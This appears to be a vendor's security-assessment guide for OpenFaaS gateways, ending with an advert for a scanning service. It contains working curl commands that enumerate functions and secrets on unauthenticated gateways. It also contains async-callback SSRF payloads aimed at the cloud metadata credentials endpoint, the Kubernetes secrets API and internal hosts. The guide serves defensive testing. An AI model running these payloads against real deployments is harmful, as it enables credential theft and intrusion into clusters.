OpenFaaS is an open-source serverless framework that deploys functions as containers on Docker Swarm or Kubernetes. The gateway (default port 8080) proxies function invocations and exposes a system API for listing and managing functions. Security weaknesses include: the gateway running without basic auth in default configurations allowing unauthenticated function invocation and enumeration, functions receiving secrets as files under /var/openfaas/secrets/ that can be read if the function code processes user-controlled input unsafely, async invocation callbacks accepting attacker-supplied URLs enabling SSRF from the gateway server, the faas-netes service account holding cluster-admin in many deployments, and function containers with Docker socket access enabling container escape to the host. This guide covers systematic OpenFaaS security assessment.
# OpenFaaS gateway default port 8080
# Without basic auth enabled, all endpoints are publicly accessible
# Check gateway health (unauthenticated)
curl -s http://openfaas.example.com:8080/healthz 2>/dev/null
# Returns {"status":"ok"} = gateway accessible without auth
# Enumerate all deployed functions
curl -s http://openfaas.example.com:8080/system/functions 2>/dev/null | python3 -c "
import json,sys
try:
funcs = json.load(sys.stdin)
print(f'Functions deployed: {len(funcs)}')
for f in funcs:
print(f\" Name: {f.get('name','?')}\")
print(f\" Image: {f.get('image','?')}\")
print(f\" Replicas: {f.get('availableReplicas','?')}\")
envs = f.get('envVars',{})
if envs:
print(f\" EnvVars: {list(envs.keys())}\")
except Exception as e:
print(f'Error: {e}')
print(sys.stdin.read()[:200])
"
# List secrets available to functions (via system API if admin auth missing)
curl -s http://openfaas.example.com:8080/system/secrets 2>/dev/null | python3 -m json.tool | head -20
# Lists secret names — these are mounted into functions at /var/openfaas/secrets/
# OpenFaaS async invocation accepts a X-Callback-Url header
# The gateway posts the function result to this URL after completion
# If the gateway can reach internal network, this enables SSRF
# Async invoke with callback to AWS metadata service
curl -s -X POST http://openfaas.example.com:8080/async-function/hello-world \
-H "X-Callback-Url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "test" 2>/dev/null
# Async invoke with callback to internal Kubernetes API server
curl -s -X POST http://openfaas.example.com:8080/async-function/hello-world \
-H "X-Callback-Url: https://kubernetes.default.svc.cluster.local/api/v1/secrets" \
-d "test" 2>/dev/null
# The gateway POSTs the function output to the callback URL
# Monitor your callback server (e.g. requestbin) for the response
# Blind SSRF via timing — check if internal host 10.0.0.5 is alive
time curl -s -X POST http://openfaas.example.com:8080/async-function/hello-world \
-H "X-Callback-Url: http://10.0.0.5:8080/" \
-d "probe" 2>/dev/null
generate_basic_auth: true in helm values — required in all environments| Security Test | Method | Risk |
|---|---|---|
| Gateway unauthenticated access | curl :8080/system/functions without credentials — lists all functions | Critical |
| Async callback SSRF to metadata service | POST with X-Callback-Url: http://169.254.169.254/... | Critical |
| faas-netes has cluster-admin binding | kubectl get clusterrolebinding | grep faas | High |
| Function secrets listed via /system/secrets | curl :8080/system/secrets returns secret names | High |
| Docker socket mounted in function container | Check function pod spec for /var/run/docker.sock volume | High |
| envVars contain credentials in system API response | curl /system/functions — inspect envVars field | Medium |
Ironimo tests OpenFaaS deployments for unauthenticated gateway access and function enumeration, async callback SSRF to cloud metadata services and internal APIs, function secret and credential exposure, faas-netes RBAC over-privilege, Docker socket escape from function containers, and network policy gaps allowing cross-namespace function communication.
Start free scan